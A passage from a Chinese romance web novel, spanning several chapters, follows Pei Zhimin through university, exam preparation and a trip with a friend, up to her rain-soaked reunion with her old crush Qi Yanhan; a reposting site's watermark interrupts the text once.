那时候她们好像都有这么不切实际的梦想,就想着闺蜜暴富,一人得道自己就好“鸡犬升天”。 裴知悯失笑,说着说着怎么就八竿子打不着了呢?她忙打断说“您可别想这么远”。 喻书睁开眼,嘿嘿笑了。 夜里的风很凉,却吹得她热血澎湃,裴知悯踢着阳台的边边角角,声音迟疑:“你说这能行吗?” “试试呗。” 她笑:“行。” 这通电话到此就结束了,末了裴知悯听从了她的建议,每天都在微博上分享画稿,渐渐的,竟然收获了一小批粉丝,人数还在涨,能被这么多人喜欢,她是真的受宠若惊。 跟喻书说的时候,这个姑娘尖叫道“你是真的要火啦”,裴知悯还是笑笑,根本没想过这事儿。 新的学期,裴知悯经常去图书馆二楼靠窗的位置上画画,对面的桌子上坐了一个戴眼镜的男生,斯斯文文的,他们相对而坐了半个月,没说一句话。 三月的某天早上,裴知悯去图书馆的路上不小心把耳机弄丢了,正巧被他捡到,两人由此认识了,这个男生很有礼貌,做事周到得体,有时他干完了活,但裴知悯还没走,他也会装作还没干完接着陪她,见时间太晚,他又借口说顺路送她回寝室。 一次两次倒还好,五六七八次时,裴知悯 也大致猜出了他的心思,只是他没说她也就当他是普通朋友,就这么地相处着。 那天晚上,他们回来正好碰到下楼买酸奶的虞净,这人一眼就察觉到有情况,等裴知悯走进宿舍楼,她拱着她的手臂就让她好好把握,裴知悯淡淡笑了下,不置可否。 大二就在这一天天的画稿中过去了,暑假来临,裴知悯回了栖梧去陪许兰君,家里只有外婆一个人,院里的花少了许多,但都打理得井井有条。 裴知悯一回来,浇花剪枝桠这事儿就落在了她头上,有几株草她不认识误当成杂草剪了,把老太太气得,直接打发她去了后院拔草。 当了一个月的拔草小工,裴知悯“罢工”回南城了,当天就收到了卫旭发来的消息,是他的高考分数,她看着那超出重本线七八十分的成绩,真心替他感到高兴。 后来蒋琛给他办了场庆祝party,裴知悯被喻书拉着去了,却没有遇见他,喻臣在角落打电话,时间很短,挂之前她只听见喻臣笑骂了一句:“你小子就见色忘友吧。” 事实上祁砚寒是真的冤枉,方芷宜在学校被人欺负了,他气得踩着油门飙车过去,不把那小子使劲揍一顿他都对不起她叫了这么多年的“哥”,至于聚会,这玩意儿什么时候不能聚。 那时他还不知道裴知悯在。 八月下午的两三点,正是日晒风燥的时候,包厢里热烈得胜过外头的骄阳。 卫旭尽情地唱着“任风吹干流过的泪和汗,总有一天我有属于我的天”,释放出了这一年的压力,一曲吼罢,蒋琛和他碰起了酒瓶,一饮而尽,他们又点了首歌,是许巍的《蓝莲花》。 “没什么能够阻挡,你对自由的向往——”两人的声音还是一如既往的热血豪放,裴知悯静静地听着他们唱,内心慨然,他们还和当初一样,却也不一样了。 这首歌唱到结尾时,裴知悯被苏英的电话叫走了,她母亲今天忘带钥匙了,要她回来开门。 裴知悯不知道,她离开没一分钟,祁砚寒就来了,男生环顾一圈,不经意地问了句:“就差我一个人?” 卫旭正唱着歌呢,抽空回了一句:“是啊,裴知悯是来了又走的,就刚刚的事。” 祁砚寒淡淡地“嗯”了声,走向角落,开了瓶酒,和蒋琛对瓶吹。 那次应该是他们这几年最靠近的一次,却仍少了一点机缘。 也就是这一晚过去,祁砚寒悄然放下了从前。 再回到学校,又是在九月。 这年她们大三,寝室四个人各有各的忙碌,柳聆谈了一个计算机院的学长,和虞净一样,周末要去约会,宋一晗则忙着兼职,裴知悯还是泡在图书馆里,只是对面已不再是那个男生了,暑假里他表了白,这姑娘很礼貌地拒绝了,之后就再也没遇见过。 那晚临时来了个作业,裴知悯提前从图书馆出来了,回寝路上遇见了虞净。 “又去画画了?”她问。 裴知悯点头“嗯”了下。 虞净了然,左右环顾,见没什么人,笑眯眯地打听起她和那人的情况,裴知悯只是说他们不合适。 “那个男生看上去挺不错的啊,身高长相都不差,”虞净问,“为什么不和他试试?” 裴知悯抿了下唇:“没感觉。” 虞净笑了:“这么无情的吗?” 裴知悯低着头,看路上的花花草草不说话。 “你不会……”虞净想起了什么,凑到她耳边问,“还想着那个男生吧?” 裴知悯心神一颤。 读了大学,她和祁砚寒就没联系过,她只知道,他和秦京宁分手了,至于有没有交新的女朋友,她还没从喻书和喻臣那里听说到。 有些人的喜欢可能是一时兴起,但对于裴知悯而言,他出现在她最美好的青春年华里,是她年少唯一的心动,哪会这么轻易忘怀呢? 宿舍楼下,正是小情侣难舍难分的时刻,她们低着头装没看见走进楼里。 “诶,感情真是个折磨人的东西,有人分分合合爱得要死要活,”虞净叹气,“有人弯弯绕绕等了一年又一年,就跟你一样。” 裴知悯无声地抿紧了唇。 虞净打探道:“你喜欢他很多年了吧?” 裴知悯依旧沉默。 大学两年,虞净也算见证了她未果的暗恋,她问:“这样的暗恋你不难过吗?” 怎么会不难过呢? 她看着喜欢的人怀里拥着别人,心都钝痛,可是她又不能诉说,因为他不喜欢你,说了兴许连朋友都没得做,虽然他们朋友这一层的交情本就浅薄。 虞净见状,只是说:“给时间一点时间吧,你会释怀的。” 裴知悯那晚还很固执,没听进这句话。 后来的生活忙碌又平淡,十月过完,青城气温转凉,万物开始凋零。 裴知悯再没有听到关于祁砚寒的消息,直到那个狂风大作的天,外头风雨欲来黑沉沉的,她在宿舍画稿,接到了喻书的电话。 “你猜我今晚和室友出去聚餐,遇见谁了?”喻书神秘兮兮地问道。 “谁啊,”裴知悯随便一猜,“从前我们班的同学?” “不是,”喻书拍了下大腿,“祁砚寒!” 再次听到这个名字,裴知悯心都漏了一拍,她放下触控笔,静静地听她讲。 “还有他女朋友,”喻书紧接着道,“大美女一个,又高又白,两个人全程牵着手,看上去感情挺好的。” 裴知悯心猛地紧了一下。 “哦,”她故作不在意的样子,心已经变得冰凉。 “我哥说这个女生追了祁砚寒好几个月,”喻书还挺感慨,“真不容易啊,能把他给拿下。” 雨声刷地砸了下来,冷风灌进来,刮得窗帘乱舞,柳聆和宋一晗赶紧去收阳台的上的衣服,裴知悯愣着没动,被虞净一提醒,她才起身,电话也因此挂断。 那张插画,从接电话是什么样,裴知悯睡觉前就是什么样。 这场雨下得很大,裴知悯心空落落的一片,她听着嘈杂的雨声,失眠了一整晚。 在这个雨打风吹的夜晚,少女的心事零落,碎了一地。 后面裴知悯变得越来越忙,不只是因为日常画稿,还有杂志社来找她约了张稿件,一张很寻常的内页插图,她却很重视,忙得外界消息自动屏蔽了,大概只有忙起来才不会去想别的事吧,那段时间喻书都惊讶了,怎么连跟她打电话的时间都没有? 十二月底,警校学生到青城一家基地进行拉练,喻臣每天负重越野十公里,练了体能练力量,人都累脱了一层皮,好不容易有了两天假期,他打了个电话给裴知悯。 出校的时候,这女生是用跑的,到了门口,她还喘着气,眼睛亮晶晶的,“喻臣哥,你怎么突然来了?” “学校安排过来拉练,前些天要保密,”喻臣笑着解释,又问,“惊喜吧?” 裴知悯直直地点头,她捋了捋头发,手指向校内,“那进去吧。” 喻臣两手插兜:“行。” 青大占地很大,裴知悯带着他匆匆走了一圈,然后又去了柳聆介绍的热门景点玩,古迹很多,那两天他们只逛了三四个,喻臣就要回去了,尽管不舍,她还是挥手和他作别。 返程路上,高铁一路向东,沿途有白茫茫的雪,还有绿油油的树,同行的人打牌的打牌,睡觉的睡觉,喻臣无聊,靠在车门边给祁砚寒打了个电话,聊起在青城的这一周,说真他大爷的累。 那会儿祁砚寒刚结束一个项目,回到寝室坐在椅子上闭眼休息,刚摸出烟盒,电话就响了,他接起来听着他吐槽,点了根烟,嗤笑:“谁让你自己选的这条路。” 喻臣望着动车外倒退的风景,和他骂了半天,心情稍微好了点。 “忘了跟你说,”喻臣笑了声,” 我放假那两天,知悯带我逛了逛青城。” 骤然听到这个名字,祁砚寒一口烟都没吞下去,直接被呛着咳了两声,缓过来后,他问:“你怎么找她去了?” “我们这几个人中,在青城的就知悯一个人,我不找她找谁?” 祁砚寒哑然。 这天南城是个大晴天,宿舍那几个出去泡妞的泡妞,泡吧的泡吧了,只剩他一个人。 祁砚寒轻吸了口烟,默默地听喻臣讲他们去了什么地方,吃了什么,这姑娘还抢着要付钱,让他面子都还有点不好搁。 是像她的性格,真诚仗义,单纯温吞。 祁砚寒轻轻笑了声,伸直手,弹了弹烟灰。 “好久没见,知悯越来越漂亮了,”喻臣说了一通,随意道,“不知道在学校有没有男生追?” 指尖的烟燃了半截,祁砚寒眯了眯眼,鬼使神差道:“你不问?” 喻臣觉得他是不是有病? “她不说我怎么问?” 祁砚寒再度一噎,重重地吸了口烟,又缓缓吐出,烟雾浮起间,他想起了她那双干净澄澈的眸子,还有柔软的头发,娉婷的背影。 印象里他们好像有两三年都没见了,变漂亮了吗?好像一直都挺漂亮的。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第31章 第31章祝你前途坦然,岁岁平安。…… 二零一九年的春节,裴知悯是在栖梧过的,她在外婆打造的世外桃源里,过得像是个小神仙,一点都不想再去回忆那些酸涩心事。 大年初九,裴知悯就在收拾行李打算回学校了,寒假前,她就在青城找了一家传媒公司实习,年后要回去上班。 箱子摊开着,苏英帮她叠衣服,期间旁敲侧击地问起了她的未来计划,如今她都大三下了,有些现实的问题还是要早规划早作打算。 “妈,你和我爸都希望我回来是吗?”裴知悯直言问。 苏英点头:“我们是这样想的。” 一猜就是。 “但你外婆说,一切都要看你,”苏英叠好衣服放进箱子里,接着道,“你如果想留在那边工作,我们也赞同。” 裴知悯抿了抿唇,事实上她也不知道该何去何从,在青城读书,在那里工作肯定要方便些,可南城是生她养她的地方…… 外婆在楼下喊吃饭了,裴知悯扬声回了句“好”,便推着苏英的肩膀走出房间。 “走一步看一步吧。” 苏英握着她的手,无声地叹了口气。 吃了中午饭,裴知悯就坐车回青城了,后面的日子,她既要实习还兼顾画画,忙得脚不沾地。 二月底,实习结束,裴知悯如释重负地走出了公司,那时青城的气温还很低,风声肃杀,刮在脸上跟刀锋似的,生疼。 她裹紧围巾,在路边买了一份炒酸奶,摊主是个中年妇女,说的还是方言,她听了半天都听不懂,最后还是一个热心肠的男生出面解释,说摊主是在问她要什么口味,裴知悯看了眼招牌,说要草莓味的。 拿到炒酸奶,裴知悯边吃边往地铁站走,冷风白雾的街上,都是汹涌的人潮,一对牵手徐行的情侣打闹说笑着她身边经过,有个熊孩子不小心撞到了他们,着急地说“对不起”,说完就跑了,没两秒,又蹿出个气急了的大人,在追那小孩。 这市井生活,真是亲切,却不属于她。 裴知悯站在异地他乡,看着人潮涌动的街头,巨大的欢声笑语从她耳边跑过,心头冒出一种极致的心酸。 这一刻,裴知悯才终于读懂了朱自清先生说的那句“从此故乡只有冬夏,再无春秋”,她的外婆,她的爸妈,都在家里等她。 吃完,裴知悯坐在街边的长椅上,给苏英打了个电话,聊了两句家常,她说起正事:“妈,你说我考研怎么样?” 苏英停了几秒钟才说:“可以啊,妈支持你。” 冷风呼啸,卷起一地的枯叶,裴知悯这这只手有点冻僵了,换了另一边拿手机。 “那你想好考哪所大学了吗?”苏英小心翼翼地问道,“考本校还是回……” 裴知悯看着对面玩闹的孩童,缓缓道:“南城大学。” “好,好啊,”苏英激动得语无伦次,“那我和你爸帮你留意着分数线和录取情况,帮你分析分析。” 裴知悯听着她讲规划,慢慢起身进了地铁站,下班的点,站里的人很多声音嘈杂,苏英没说两分钟就挂了。 坐了半个小时地铁才到达校门口,外面的店这时候生意正好,放眼望去各家店都坐满了人,男生的嗓门大,好些人围在一起喝酒,划拳声很大,裴知悯随意瞥了眼过去,竟然看到了一个穿旗袍的姑娘,她走近一看,真是虞净。 桌上摆着一菜一汤,还有四五听啤酒,歪歪倒倒乱作一团,裴知悯一慌,问她怎么了? “从今天开始,”虞净举起酒,敬了天又敬地,伤怀道,“我就自由了!” 裴知悯品了品这话是什么意思,末了,她也坐了下来,陪着虞净喝,然后听她讲他和那人从学生时代开始的爱情。 那天晚上,裴知悯陪虞净喝了两听啤酒,睡到了第二天中午才醒,洗漱完点了外卖,她就开始上网查南城大学的研究生导师。 青大是有保研资格的,尽管裴知悯一直有在好好学习,但是新传卷得厉害,人外有人天外有天,她的成绩刚好挨到保研边缘,遗憾错过。 四月份,青城的气温渐渐回暖,春意漫上枝头,莺歌燕舞,又是一年好时候。 远在一千公里外的南城却还停留在冬天,卫旭留在了南城,学校和南大在一条街上,经常周末去找祁砚寒一起喝酒,那会儿他早就分了,一个人来应的约。 有次他们喝醉了,卫旭怀念青春,怀念高三,想起了远在北京的蒋琛,想起了电话时常打不通的喻臣,还有裴知悯。 祁砚寒当时尚留着一丝理智,听到她的名字微愣了一瞬,卫旭这个傻缺,要拿手机挨个给他们打电话,他说不清那时自己是什么心态,肯定醉了吧,不然怎么会有点期待呢。 一场沾着凉意的风自南而起,吹到了北方,让青城下了两天的雨。 因为微博上的分享,裴知悯被更多人看了见,有几家出版社先后找来请她画封面,由于她在备考,最后只接受了一家的邀约。 后面没多久,裴知悯又收到了一个单子,来自虞净,她家的画师家里出了急事,花纹一拖再拖,预计夏天上新的旗袍到现在连样衣都没做出来,她奶奶急得不行,电话打到她这里来让她想想办法。 虞净把之前有过合作的老师都问了个遍,不巧的是她们手头都有稿子要画,束手无措时,她把目光移向了裴知悯,虞净搂上她的肩,一脸的有事相求:“敢不敢试一试画花?” 裴知悯懵然:“什么花?” 虞净说:“垂丝海棠。” 裴知悯有点纠结,一是她没画过,二是时间问题。 为了请动她,虞净把前因后果解释了一遍,裴知悯傻傻地问了一句:“我要是没画出来,你会损失很多钱吗?” 虞净直直地点头,给出了个“那可不”的表情。 裴知悯末了应了下来,花的结构比人体结构好掌握些,她在网上找了好多海棠花的参考图案,又跟着教程学排版,画了近二十天,才有了一张“勉强能看”的成品图,虞净把照片发给了自家的打版师傅看,他非常满意,当即就说可以。 这事就这么成了。 样衣出来后,奶奶也觉得没问题,虞净便按照传统付给了她一半的版权费用,裴知悯看着那一串数字,眼睛都睁大了,第一次画这么值钱的稿子,她还有点没反应过来。 “你真没多打个零吗?” 虞净都笑了:“这可是要买断价,我们付了钱是可以永久生产的,我奶奶肯定能把这钱赚回来。” 她们没亏就好。 虞净和她商量道:“等开始旗袍批量生产时,我再付你剩下一半的钱,可以吗?” 裴知悯傻乐着:“可以可以啊。” 往后几个月,虞净都在忙着打版和上新旗袍的事,裴知悯则一直在学校复习,从酷暑到初秋,她白天捧着专业书狂背狂做题,晚上抽时间画稿。 就这样忙到了十月底,青城下了一场雪,这是今年的初雪,裴知悯从自习室出来,看见这漫天飞舞的雪花,眼眶不自觉地发酸了。 来青城三年,年年都下了雪,她却早已没了当年的欢喜,周围很多玩雪打雪仗 的学生,笑声畅快又肆意。 裴知悯撑着伞,慢慢走在雪地上,身边白雪纷飞,她拿出手机给许兰君打了个电话,铃声响了好久才被接听。 “囡囡呀,我刚才在炖汤,手上脏,没来得及第一时间接。” 许兰君的声音还是一如既往的慈祥。 “没事儿,外婆,”裴知悯好奇问,“你炖的什么汤啊?” “莲藕排骨汤,”许兰君把火关小,走出厨房,“排骨是早上去市场买的,莲藕是昨晚邻居阿婆送的,脆生生的嘞。” 裴知悯轻轻一笑:“炖好了吗?” 外婆看了眼厨房:“还没呢,刚开火。” 电话那头很寂静,还能听见犬吠和咕噜咕噜的汤水声,这是曾经最平常的画面,如今却好难得。 “外婆,”裴知悯伸手接了一片雪花,完整的六瓣,“我这里下雪了。” “嗯,”许兰君笑着问,“好看吗?” “好看,裴知悯看向远处洁白的雪景,顿了顿说,“只是——” 老人家疑惑:“只是什么?” 裴知悯看着这满天大雪,声音里藏了三分哽咽:“我想你了,外婆。” 她不知道,这话一出,电话那头的老人也湿了眼眶。 “外婆一直在。” 裴知悯声音含笑:“我知道。” 雪地起了风,吹得枝桠摇晃,祖孙俩聊了一会儿,最后以裴知悯的一句撒娇“我也想喝莲藕排骨汤”结尾。 那时她只是这么一说,可是她没想到,隔天中午,外婆真的带了一盅汤来了青大,裴知悯看着这个年近七旬的老人,浑身沾满了风雪,就为了给她送汤,真的是都快要哭出来了。 汤还是热的,外婆说今早上才炖,一炖好她就坐上了高铁过来了,裴知悯听着她讲,几乎是含着泪喝完的,完事后,她带着外婆简单逛了下学校,差不多三点,许兰君就要走了,苏英会在动车那头接她,裴知悯把外婆送进站台,一老一少遥遥相望,都红了眼眶。 后来,裴知悯把全身心都放在了备考上,画稿也不画了,脑袋里的弦绷得越来越紧,直到十二月下旬,研究生考试结束,她才终于卸下了一身的担子。 那时剩余的版权费用已经结清,裴知悯拿着那钱,去了一趟虞净的故乡江都玩,不愧是杏花烟雨的江南啊,这里的风都是柔软的,能洗涤一切都辛苦和疲劳。 虞净给她当导游,带她去了著名的风景区和梧桐大道,隆冬天气,梧桐树已经掉了半树的叶子,树木寂寥,在一排排树下漫步,别有一番滋味。 “夏天的梧桐树才好看,”虞净说,“翠绿得像是要泼出来似的。” 裴知悯笑着道:“我外婆家也有梧桐树,只不过没有这么高。” “那当然了,”虞净扬起小脸,“江都的法国梧桐可是全国闻名的。” “确实。” 长长的梧桐大道,她们走了一个半小时才到一个景点,逛完了都过了四点了,回到虞净家,虞净的奶奶听说她就是帮忙画稿的人,还是自家孙女的好朋友,当即就说送她一套旗袍,裴知悯拒绝再三未果,便顺了老人家的心意。 奶奶为她量体裁衣,又拿出布料和花纹供她选择,裴知悯不太懂这个,按照老人家的介绍,选择了一套月牙白的暗纹全开襟旗袍。 选完,裴知悯想悄悄付钱给虞净,被她拒绝了。 “见外了啊。”这个女生说。 裴知悯笑了,不再提钱的事。 隔日是一个阳光温暖的好天气。 她们去了江都的城墙,登高望远,眼前的湖泊波光潋滟,风景优美怡人,赏了景,拍了照,下来后,裴知悯看见一大批人从同一个地方出来,手里拿着福袋和红绳,她问虞净那是哪儿。 “菩濯寺,我们这里最出名的寺庙。” 裴知悯看着如织的游客,来了兴趣:“我们也去逛逛?” “你确定?”虞净细眉微蹙,“别怪我没提醒你嗷,这寺庙可灵了,一去寡三年。” 裴知悯不曾犹豫:“走吧。” 菩濯寺不高,她们没用五分钟就到了寺里,各路神仙前,红纸香火不断,两人各拿了三支香,点燃敬拜神明,敬完往里走,又到了菩萨殿,裴知悯在佛前诚心三拜三叩,保佑她心想事成,家人身体健康。 山顶有吃饭的地,虞净请她吃了素斋面和糕点,俯瞰着轻纱云雾笼罩下的江都,她问:“你刚刚许了什么愿?” 裴知悯笑:“说了就不灵了。” 虞净“切”的一声,环抱着手,幽幽道:“你没给他许吧?” 裴知悯微愣,“他”是谁,她们心照不宣。 这个人好像在她记忆里消失了许久,就像是从没来过。 裴知悯淡淡道:“你要是不说,我都不会想起他来。” “真的?” “嗯。” 虞净看她无波无澜的样子,是放下了吗? 放下了才好。 其实裴知悯也说不清楚,她是什么时候遗忘了他,或许是知道他有女朋友的那一刻,也或许是考研太累了她没空再去想他,又或许是外婆冒雪给她送汤时,在一个个稀疏平常的时刻,他默默淡出了她的世界。 有人曾经在网上问,什么才是告别? 底下有很多回答,裴知悯说,当你遗忘的那刻就是。 吃完下山,两人往城中走,沿路都是绿树和人流,暖阳普照,风里飘着一层浅淡的草木香气,吹得人很舒服,她们跟着街道转弯直行,在一条街上遇见了家书店,前面围满了拍照打卡的人,这家书店很不一样,它的入口路面是倾斜的,店名也极其简单,就只有四个字:一家书店。 耳机里放着梁静茹的《情歌》,正好唱到了——“时光是琥珀,泪一滴滴被反锁,情书再不朽,也磨成沙漏。” 温柔的女声听得既像是告白又像是告别,裴知悯和虞净进到店里,顾客往来不断,她们慢悠悠地逛着书,有一面墙上,挂满了明信片,都排出快二十米了,上面的每张卡片都写满了故事。 裴知悯站定在这面墙前,看了几份,虞净见她久久驻足,询问道:“你想写吗?” 裴知悯抿唇一笑:“来都来了。” 一封明信片有六张,她们一人一半,裴知悯先给父母和外婆写了一张,祝他们万事顺遂身体健康。 第二张她写给了自己,希望自己所愿皆所成,找到自己,找到理想。 最后一张写给了祁砚寒。 [祝你前途坦然,岁岁平安。] 那一张上面,只有一家书店的灰色印章,没有落款。 裴知悯买了两本名家大作就去了前台付款,听着那句“回忆如困兽,寂寞太久,而渐渐温柔,放开了拳头,反而更自由”,她慢慢走出了书店,明媚的阳光落满了向上的路面,歌正好放着—— “长镜头越拉越远,越来越远,事隔好几年。” 第32章 第32章“好久不见。” 下卷藏在手心的红豆 — 二零二二年十月,已过霜降,南城的温度一天冷过一天。 “嘶!” 裴知悯刚从办公楼出来,就和迎面扑来的冷风撞了个满怀,她忍不住倒吸一口凉气。 天色惨淡,见不到一丝日光,又是一个阴郁的阴天。 开了一早上的周会,肚子早就饿得咕咕叫了,裴知悯拢紧风衣前襟,快步往大门口走,答应了和喻书吃饭,因为师姐讲了下新课题相关的事项,现今都超出约定时间一刻钟了。 风渐渐转小,桂花香逐渐,那抹袅娜的身影,衣角还在飘扬。 抵达餐厅是十分钟后的事了。 “你可算来了,”喻书缩着脖子挽上裴知悯的手,“你再不来,我都要冻死了。” 裴知悯不好意思道:“今天会开得久了些。” “没事没事,”喻书一脸理解,推开门进到餐厅,“走吧。” 餐厅里人不少,她们随便选了个位置落座点餐。 “约你吃一顿饭还真不容易,”喻书倒了杯热茶推到她面前,“你读研怎么比我这种学医的还忙?” 喻书本科念的是五年 制的临床医学,今年在读研二,平常挺忙的,她们约饭都要提前看时间,本来半个月前约好了一次,但裴知悯临时有事来不了,后面她又忙着实验,拖到今天才两人见上一面。 众所周知,大学里论忙,医学生说第二,没人敢称第一,但看她这样子,竟然不遑多让。 裴知悯抿了口茶水,苦笑道:“课业多有什么办法?” “唉,”喻书叹了口气,压低音量说,“当初你要是听我的话选择了葛怡当导师,如今肯定要轻松不少。” 知道裴知悯要考南大的经济学后,喻书就四处打听经济学院的老师风评,最后推荐了葛怡,原因无它,葛老师年近六旬,人很好说话,做她的学生压力会小许多。 偏偏裴知悯选了一向以严格闻名的闻霏,在她收集的消息中,这位老师手下的研究生可不是那么好“混”的。 “这你可就错了,”裴知悯放下杯子,“闻老师只是在学术上很严谨,私下里人还是很亲和的。” 喻书扬眉:“很亲和还能让你忙得团团转?” 裴知悯笑:“名师出高徒嘛。” 读研以来,除了论文和课题项目,闻霏对她没有过苛刻的地方,外界说她不近人情只是传闻罢了。 喻书一味地摇头,同情她的现状。 等了十多分钟,餐陆续呈了上来,还是南城的菜合口味,吃到半饱,裴知悯盛了一碗菌菇鸡汤喝。 “下午你有时间吗?我们去逛街?”喻书问。 “不了,”裴知悯边喝汤边摇头,“我要回去看新课题,早上师姐刚发布下来,我还没仔细看。” 不逛也没事,正好回去睡懒觉,喻书本来,下一秒,看见手机上师姐发来的“两点开会”,立马蔫了。 “果然,”喻书把那条消息给她看,“人就不能想着玩,一这样想就会被拉去干活。” 裴知悯对她报以同情地笑了。 窗外的天逐渐变得灰暗起来,像是要下雨了。 汤即将见底时,裴知悯的电话响了,瞥到备注,她应激般地放了筷子按下接听,恭敬喊道:“闻老师。” 对面简言道:“你在学校吗?” 裴知悯瞥了一眼喻书,回答说:“在的。” “我有份资料落在办公室了,在柜子第二层的的右边,”闻霏说,“你能送来中心会场吗?” “现在吗?”裴知悯忙问了一句。 闻霏:“对。” “好。” 说完,裴知悯就开始收拾东西了。 喻书惊讶:“诶,你不吃了?” “来不及了,下次换我请你。” 话音未落,裴知悯抓起帆布包风风火火地走了,最后两个字只有一点音节。 天色昏沉,灰色的云飘在低空,一场雨感觉很快就会到来,裴知悯一路小跑进办公楼,刚到三楼,雨就来了,淅淅沥沥的,打在树叶上,轻而脆。 柜子里的文件夹都是按时间顺序排列的,很容易就找到目标的那份,拿上东西,裴知悯一边往外走一边在手机上叫车,办公楼离西门更近,她径直出了校,路上的行人很多,各自低着头,步履匆忙。 雨势渐大,迅急的风席卷而来,裴知悯费力稳住伞柄,打车页面上还显示着“正在为您匹配车辆”,红圈转个不停,就是转不出来一个“接单成功”。 裴知悯略显着急地望向街道,想寻找街上的空车,每逢雨天,坐车出行的人就很多,今天同样如此,一连驶过好些辆计程车,都是满客。 正焦急间,电话又响了。 闻霏问:“找到文件了吗?” “找到了。” “大概多久能到?”闻霏说,“我好下来取。” 裴知悯望着紧张的车流,解释道:“雨下大了,还没打到车。” 窗外风雨叫嚣,拍在玻璃窗上,沉沉的,一声又一声。 闻霏抬手看了眼腕表,想了两秒道:“你等一会儿,我让人来接你。” 裴知悯乖顺地应:“好的。” 收了线,闻霏给祁砚寒打了过去。 那会儿他刚和一个合作伙伴吃完饭,在通风口处点了支烟解乏。 “我记得你中午在南大附近和人谈事?”闻霏问,“现在还在吗?” 祁砚寒缓慢吐出一口烟,轻“嗯”了声。 那就正好。 “我学生要送份资料到我这里,但她打不到车,”闻霏说,“你去接一下,她在西门。” 祁砚寒伸直手臂,弹了下烟灰,失笑道:“小姨,我什么时候成司机了?” 会议还有四十分钟就开始了,这是国内著名经济学家的讲座,业内很多有名有姓的学者和教授都会来,闻霏中间有一段致辞,上午走的急,她忘带了稿件,这才如此着急。 “你别贫啊,”闻霏笑说,“这次的会议是真的很重要,不然也不会喊你。” 祁砚寒眉头一挑。 “你快点去,”闻霏旧事重提道,“你大学时旷了我那么多节课我都没挂你,现在是时候回报一下了。” 祁砚寒听得弯起了唇。 这都毕业一年多了,怎么还逃不过被老师支配的命运? 这通电话最后是以闻霏的一句“我马上把她的电话发给你”而结束的。 祁砚寒还没反应过来,手机就跳出了一串数字。 得,这是真把他当司机了。 祁砚寒无奈摇了摇头,掐灭烟蒂,走去停车场提车。 后来想想,若没有这通电话,有些故事或许不会这么早开始。 雨下得又大又密,天潮地湿,路面积了一层水,有车溅起水花,裴知悯裤管被淋湿了一截,她默默退到道路最里面等待着。 前方是个红灯,车辆整齐地排成了长河,那辆黑色大G低调地隐在车流里,雨刷器有节奏地扫着,祁砚寒手搭在方向盘上,视线不经意地往前方一落,意外地瞥见了个眼熟的身影。 他目光一动,定定地望着那个方向。 桂花树下,女生身姿纤瘦亭立。 她穿了件藕粉色的风衣,内搭一套杏色针织衣裤,柔顺的黑发自然垂落,铺在腰间上方,风吹起发丝贴在脸颊上,她侧头一理,下颌精致,露出的脖颈又白又细,那张小脸还是一如既往的白皙干净。 那年喻臣说她越长越漂亮了,祁砚寒只是单纯地以为是她褪去了青涩,五官长开了,如今他亲眼所见,这姑娘确实变漂亮了啊,身上都有了两分女人的韵味。 祁砚寒盯着裴知悯看了好一会儿,视线才下移到她怀里的那个蓝色文件夹上,他眼神微敛,思量了片刻,又投去目光,她的背后就是南大西门,是巧合还是真就如他猜想的那样? 那串躺在微信里的数字被复制去了拨号盘中,按下拨通后,铃声响了两秒,他看见不远处的女生拿起了手机。 祁砚寒闭眼笑了声,想着这世界还真是小。 这时的雨好像比方才下得更急了些,嘈嘈的声响,掩盖住了微乱的心跳。 裴知悯一般是不接陌生来电的,只是当她看见来电地址显示的南城,顿了两三秒,还是选择了接听。 “喂?你好。” 嗓音轻柔,还带了点小心翼翼。 祁砚寒刚想开口说话,前面的车动了起来,他按断电话,慢慢将车子往前开了五六米。 那会儿裴知悯正疑惑呢,不是老师喊来接她的人吗? 不是就算了,她收了手机一抬眼,不期然间撞进了一双深邃英气的眼眸里。 苍薄的雨幕中,男人一身黑色,眉目凛然,执伞缓缓走来。 裴知悯眸光倏地顿住,记忆深处的那个少年,从时光里走了出来,变成眼前这个成熟的男人,望着那双凌厉狭长的眼眸,她觉得一点都不真实。 可是,皮肤之下陡然 加快跳动的心脏,快速流动的血液,又告诉她,这是真实发生的。 好久都没有这样了。 明明都几年没见了,明明她都快忘却了这张脸,怎么再见面,她还是会不争气地心动呢? 裴知悯攥紧手心告诫自己,再来一次,你和他之间也不会有结果的。 隔着一川雨,他们静静地注视着彼此,在离她一米的位置,祁砚寒停住了脚,看她一脸错愕像是呆住了似的,一时失笑。 “不认识了?”他笑得漫不经心。 他身上的黑色衬衫松了最顶端的两粒扣,领口微敞,半截清瘦的锁骨微微坦露,由于笑,他的肩膀微微抖了一下,自在坦然的模样,还是和从前一样。 那时如果裴知悯的视线稍微再往下几寸,就可以注意到他握着伞的手,十秒钟之前还是正常的白,那刻却已指腹收紧,泛起了淡淡的青。 裴知悯动了下唇角,不知道此刻是该摇头还是该说“不是”,愣了三四秒,耳边传来一声短促的鸣笛,她回过神,轻轻地说了两个字,“没有。” 祁砚寒笑意微收,暗吸了口气,薄唇轻启:“好久不见。” 声线沉稳清冽。 裴知悯咽了下嗓子,垂下眼眸,保持镇定地回道:“好久不见。” 第33章 第33章“不用,太麻烦你了。”…… 这场大雨还在下,饱满的雨点砸向大地,声响重而闷。 黑色车辆平稳地穿梭在城市街道中,前面的红灯即将结束,祁砚寒指尖有一下没一下地点着方向盘,等着这五六秒过去,狭窄的余光里,副驾驶上的人背挺得笔直,文件夹规矩地放在膝盖上方,目不斜视,她这拘谨端正的姿态,让他想到了方芷宜在家被训的样子。 祁砚寒看了她两秒,淡淡地移开眼神,再度启动车子。 倾盆大雨,雨刷器匀速地工作着,声响轻微。 车内的气氛有种说不上来的奇怪,从前他们的关系就谈不上多么熟稔,阔别已久再同处于一个空间,除了尴尬还是尴尬。 裴知悯微微扭头,看向窗外倒退的街景,事实上雨那么大,车窗上沾满了水珠,她根本就看不清外边。 雨声杂乱,听得人心也乱了。 祁砚寒视线往旁边一瞥,眼里一点只有她圆润的后脑,他随便找了个话题,率先打破这诡异的沉默。 “怎么来南大读研了?” 他的语调仍是一如往昔的懒倦自然,旧友重逢,这种语气开场好似还挺合适,但她却不太喜欢。 裴知悯转过头,思考了下,回答的得有模有样:“南大的师资力量强大,学术氛围也很浓厚,我想在此深造,提升自身的能力和见识。” 祁砚寒嗓子里溢出轻轻的一声笑。 说的话官方得你挑不出一点错,跟考研复试似的。 他随意一问:“那怎么不接着念新闻传播?” 裴知悯呼吸微滞,印象里她没告诉过他自己本科念的什么,他应该是从喻臣那儿了解到的。 “太难考了,”裴知悯解释道,“为了提高成功率,就跨考了个和它沾边的专业。” 